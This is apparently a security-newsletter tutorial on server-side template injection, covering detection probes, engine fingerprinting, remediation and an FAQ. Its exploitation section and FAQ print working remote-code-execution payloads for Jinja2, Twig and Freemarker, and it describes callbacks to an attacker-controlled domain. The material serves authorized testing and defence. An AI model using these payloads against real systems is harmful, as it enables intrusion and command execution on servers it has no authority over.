Server-Side Template Injection (SSTI): Detection, Exploitation, and Remediation

Retool's new app builder is where AI-generated code ships safely
Building apps with AI is easy. Getting them to production safely is another story.
Server-side template injection is a code injection vulnerability that exploits the boundary between template code (developer-written) and template data (user-supplied). Template engines are designed to evaluate expressions in template strings to produce dynamic output: a template like 'Hello {{name}}' with context {'name': 'Alice'} renders 'Hello Alice'. The vulnerability occurs when developers mistakenly concatenate user input into the template string itself rather than the context: Template('Hello ' + user_input) with user_input = '{{7*7}}' produces 'Hello 49', because the template engine evaluates the injected expression.
This vulnerability class is well-documented and exploitable across nearly every popular template engine. The impact is typically remote code execution because template expressions have access to the underlying programming language's runtime, including file I/O and process execution capabilities. The fix is straightforward but requires understanding where the vulnerability pattern occurs in your codebase.
Identifying SSTI: detection and engine fingerprinting
Detection starts with sending template expression syntax to every user-controlled input field and observing whether the response contains an evaluated result rather than the literal string. Because different template engines use different expression delimiters, a single probe like {{77}} will only detect engines that use double-brace syntax; you need to test multiple variants including ${77}, #{77}, and <%=77%> to cover the full range of common engines. Once a positive result is confirmed, fingerprinting the specific engine is the next step because the RCE exploit payload for Jinja2 is completely different from the one for Freemarker, and using the wrong payload against a vulnerable endpoint will produce no output and mislead you into thinking the endpoint is safe. The three detection methods below cover automated scanning, engine fingerprinting via payload differentiation, and blind SSTI where no output is reflected.
Initial detection payload
Send {{7*7}} in every user-controlled field. This payload is syntactically valid in Jinja2, Twig, Handlebars, and Angular templates. If the response contains 49, the template engine evaluated the expression. Also test ${7*7} (Freemarker, JSP EL, Groovy), #{7*7} (Thymeleaf), <%=7*7%> (ERB/Mako), and *{7*7} (Spring Thymeleaf). Test in: URL query parameters, POST body fields, HTTP headers (X-Forwarded-For, Referer, User-Agent, custom headers), cookies, file upload filenames, and JSON body values if the application uses template rendering on JSON input.
Template engine fingerprinting
Different template engines use different syntax and behave differently with ambiguous expressions. Use PortSwigger's SSTI decision tree: send {{7*7}} (Jinja2/Twig positive), then send {{7*'7'}} (returns 7777777 in Jinja2, 49 in Twig). If ${7*7} evaluates, the engine may be Freemarker, Spring EL, or JSP EL. If {7*7} evaluates (with single braces), the engine may be Smarty. Knowing the engine determines which exploitation payload to use. Burp Suite Pro's active scanner automates engine fingerprinting and payload selection.
Blind SSTI: detection without visible output
When the injected expression result is not reflected in the response, use time-based detection or out-of-band callbacks. Time-based: inject a sleep expression (in Jinja2: {{lipsum.__globals__.os.popen('sleep 5').read()}}; if the response is delayed by 5 seconds, SSTI and RCE are confirmed). Out-of-band: inject a DNS lookup or HTTP callback (using curl or wget via RCE) to an attacker-controlled domain. Burp Collaborator and interactsh receive these callbacks. Blind SSTI is common when the template renders in email content, PDF generation, or logging pipelines rather than HTTP responses.
Exploitation payloads by template engine
Each template engine exposes a different execution path to the underlying runtime, so the RCE payload is not transferable between engines. Jinja2 exploits Python's class hierarchy through attribute traversal to reach subprocess.Popen; Twig exploits PHP callable resolution through filter chaining and class instantiation; Freemarker uses its own ?new() built-in to instantiate Java classes that execute system commands directly. These payloads are documented here for authorized penetration testing and red team exercises where demonstrating impact is necessary to justify remediation prioritization. Before using any of these payloads, confirm written authorization for the target environment and test against an isolated staging instance first to calibrate the correct class index or class name for that specific deployment.
Jinja2 (Python/Flask): Python object traversal to subprocess
Via Python's class hierarchy: {{''.__class__.__mro__[1].__subclasses__()}} lists Python subclasses. Find the index of subprocess.Popen (varies by environment, typically 250-400) with a loop payload, then: {{''.__class__.__mro__[1].__subclasses__()[INDEX](['id'],shell=True,stdout=-1).communicate()}}. Simpler Flask-specific payload: {{lipsum.__globals__.os.popen('id').read()}} — lipsum is a global function available in Jinja2's default environment with access to os via __globals__. Alternative via config: {{config.__class__.__init__.__globals__['os'].popen('id').read()}}.
Twig (PHP): class instantiation and code execution
Twig 1.x: {{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}} — this exploits the fact that Twig calls exec() with user-controlled input as the function name lookup. Twig 2.x/3.x: more restricted; use {{['id']|map('system')|join}} if system is in the allowed callable list, or exploit Twig's class instantiation via {{class('CommandClass').__construct().execute('id')}} if such a class is accessible. Twig with Symfony: {{app.user}} and related globals provide access to the Symfony container, enabling service extraction and potential RCE through service method calls.
Freemarker (Java): ?new() built-in and Execute
Freemarker's ?new() built-in instantiates Java classes: <#assign ex='freemarker.template.utility.Execute'?new()>${ex('id')}. The freemarker.template.utility.Execute class's exec() method runs system commands. Alternative: <#assign classLoader=object?api.class.classLoader><#assign className=classLoader.loadClass('java.lang.Runtime')><#assign runtime=className.getMethod('getRuntime').invoke(null)><#assign process=runtime.exec('id')>. Freemarker's API access is controlled by the template configuration's object_wrapper setting. With full API access enabled, the attack surface is the entire Java classpath.
Briefings like this, every morning before 9am.
Threat intel, active CVEs, and campaign alerts, distilled for practitioners. 50,000+ subscribers. No noise.
Prevention: separating user data from template code
The fix for SSTI is architectural and does not require complex input sanitization or output encoding: the template string must always be developer-controlled source code, and user input must only ever appear as values passed into the rendering context. This distinction maps directly to the difference between parameterized queries and string concatenation in SQL injection: the same principle applies, and the same failure mode (mixing code and data) produces the same class of vulnerability. The correct and incorrect patterns are shown side by side for Python and PHP below, followed by the grep patterns and Semgrep rules that identify the vulnerable pattern in an existing codebase so you can audit all template rendering calls systematically before deploying fixes.
The correct pattern: data in context, not in template
Vulnerable Python/Jinja2: template = Template('Hello ' + request.args.get('name')); template.render(). Secure: template = Template('Hello {{name}}'); template.render(name=request.args.get('name')). Vulnerable PHP/Twig: $twig->render($userInput, []). Secure: $template = $twig->load('greeting.html'); $template->render(['name' => $userInput]). The template string is always developer-controlled. User input is only ever provided as values in the context dictionary. This is the universal fix: it does not require sanitization of user input, because the template engine treats context values as data, not as template expressions to evaluate.
Code review: detecting the vulnerable pattern
Search for template instantiation or rendering calls where the first argument (the template string) includes string concatenation or format operations that could include user input. Python/Jinja2: grep -r 'Template(' | grep '+\|format\|%\|f"'. PHP/Twig: grep -r 'render(' and check whether the first argument is a variable (template file path, safe) or a string expression (potentially unsafe). Java/Freemarker: grep -r 'Template.getPlainTextTemplate\|new SimpleScalar\|StringWriter' and check for string construction with user-controlled data. Semgrep rules for SSTI exist in the Semgrep registry for all major template engines.
The bottom line
Server-side template injection has a clear root cause and a deterministic fix: template strings are code and must be developer-controlled, never user-controlled. The vulnerable pattern is string concatenation of user input into template expressions; the secure pattern is passing user input as context variables to fixed template strings. Review your codebase for dynamic template construction, test every user-controlled input with the {{7*7}} probe and its engine-specific variants, and use Semgrep's SSTI ruleset to catch the vulnerable pattern in CI. If a template engine is used for user-customizable content (email templates, dynamic reports), evaluate whether the engine's sandbox mode is sufficient or whether a logic-less template engine (Mustache, Handlebars without helpers) provides a safer alternative for user-supplied templates.
Frequently asked questions
What is server-side template injection?
Server-side template injection occurs when user-controlled input is concatenated into a template string that is then rendered by a template engine. Template engines evaluate expressions in their syntax ({{expression}} in Jinja2, ${expression} in Freemarker, #{expression} in Thymeleaf) to produce dynamic output. If user input is placed inside these expression delimiters before rendering, the template engine evaluates the attacker's input as code rather than data, enabling arithmetic evaluation ({{7*7}} returning 49), object access, and ultimately system command execution.
How do I test for SSTI vulnerabilities?
Send template expression syntax in all user-controlled parameters: the URL, POST body, HTTP headers, cookies, and file upload names. Start with a mathematical expression that would be obviously wrong as a literal string: {{7*7}}, ${7*7}, #{7*7}, <%=7*7%>, *{7*7}. If the response contains 49 instead of the literal string, the template engine evaluated the expression and SSTI is present. Different template engines use different syntax, so test multiple variants. Burp Suite's scanner detects SSTI automatically. The PortSwigger SSTI decision tree helps identify the template engine based on which payload syntax produces evaluation.
How is Jinja2 SSTI exploited to achieve RCE?
Jinja2 templates have access to Python's object model. The standard RCE payload uses Python's class hierarchy to reach os.system(): {{''.__class__.__mro__[1].__subclasses__()}} lists all loaded Python classes. Find the index of subprocess.Popen or _io.FileIO in the list (varies by Python version and imports), then call it: {{''.__class__.__mro__[1].__subclasses__()[INDEX](['id'],shell=True,stdout=-1).communicate()}}. Alternative using config object in Flask: {{config.__class__.__init__.__globals__['os'].popen('id').read()}}. These payloads work because Jinja2's sandbox (if enabled) can often be bypassed via attribute access chains.
What template engines are most commonly vulnerable to SSTI?
The most commonly exploited template engines are: Jinja2 (Python/Flask/Django) - full RCE via Python object traversal; Twig (PHP) - RCE via class instantiation and filter chaining; Freemarker (Java) - RCE via the ?new() built-in and Execute class; Velocity (Java) - RCE via ClassTool and the Runtime class; Pebble (Java) - code execution via variable access; Smarty (PHP) - RCE via {php} tags or plugin functions; Tornado (Python) - limited expression evaluation; Handlebars (Node.js) - RCE via prototype pollution in older versions. The severity varies: some engines provide stronger sandboxing by default, though most sandboxes have documented bypass techniques.
How do I prevent SSTI?
The primary fix is to separate user input from template code at the data model level: pass user data as template variables (context/model), never concatenate it into the template string itself. The template string is developer-controlled code; the context dictionary is user-supplied data. Example of vulnerable code in Python/Jinja2: template = Template('Hello ' + request.args.get('name')); rendered = template.render(). Secure code: template = Template('Hello {{name}}'); rendered = template.render(name=request.args.get('name')). In the secure version, even if name contains {{7*7}}, it is treated as data, not template syntax.
Can SSTI sandboxes be bypassed?
Most template engine sandboxes have documented bypass techniques and should not be relied on as the primary security control. Jinja2's SandboxedEnvironment limits attribute access but has known bypasses via the __subclasses__ chain and specific class relationships. Twig's sandbox mode restricts function calls but requires careful allowlist configuration. The Freemarker sandbox is not enabled by default and requires explicit configuration. Treat sandboxes as defense-in-depth, not the primary fix. The primary fix is always: do not pass user input into template strings. Sandboxes reduce the blast radius when SSTI is present, but do not prevent it.
How does SSTI differ from SQL injection?
Both SSTI and SQL injection are injection vulnerabilities caused by mixing untrusted user data with trusted code or query syntax. SQL injection embeds user data into a SQL query string; SSTI embeds user data into a template string. Both are prevented by the same principle: keep user data in separate parameters (parameterized queries for SQL, template context variables for templates) rather than concatenating it into the code or query string. SSTI is often more severe than SQL injection because it directly reaches the application runtime's code execution capabilities, while SQL injection requires SQL-level exploitation that may not provide direct OS command execution.
Sources & references
Free resources
Critical CVE Reference Card 2025–2026
25 actively exploited vulnerabilities with CVSS scores, exploit status, and patch availability. Print it, pin it, share it with your SOC team.
Ransomware Incident Response Playbook
Step-by-step 24-hour IR checklist covering detection, containment, eradication, and recovery. Built for SOC teams, IR leads, and CISOs.
Get threat intel before your inbox does.
50,000+ security professionals read Decryption Digest for early warnings on zero-days, ransomware, and nation-state campaigns. Free, daily, no spam.
Unsubscribe anytime. We never sell your data.

Founder & Cybersecurity Evangelist, Decryption Digest
Cybersecurity professional with expertise in threat intelligence, vulnerability research, and enterprise security. Covers zero-days, ransomware, and nation-state operations for 50,000+ security professionals every morning.
Win a $2,495 Black Hat pass.
Full-access to Black Hat USA 2026 in Las Vegas. Subscribe free to enter.
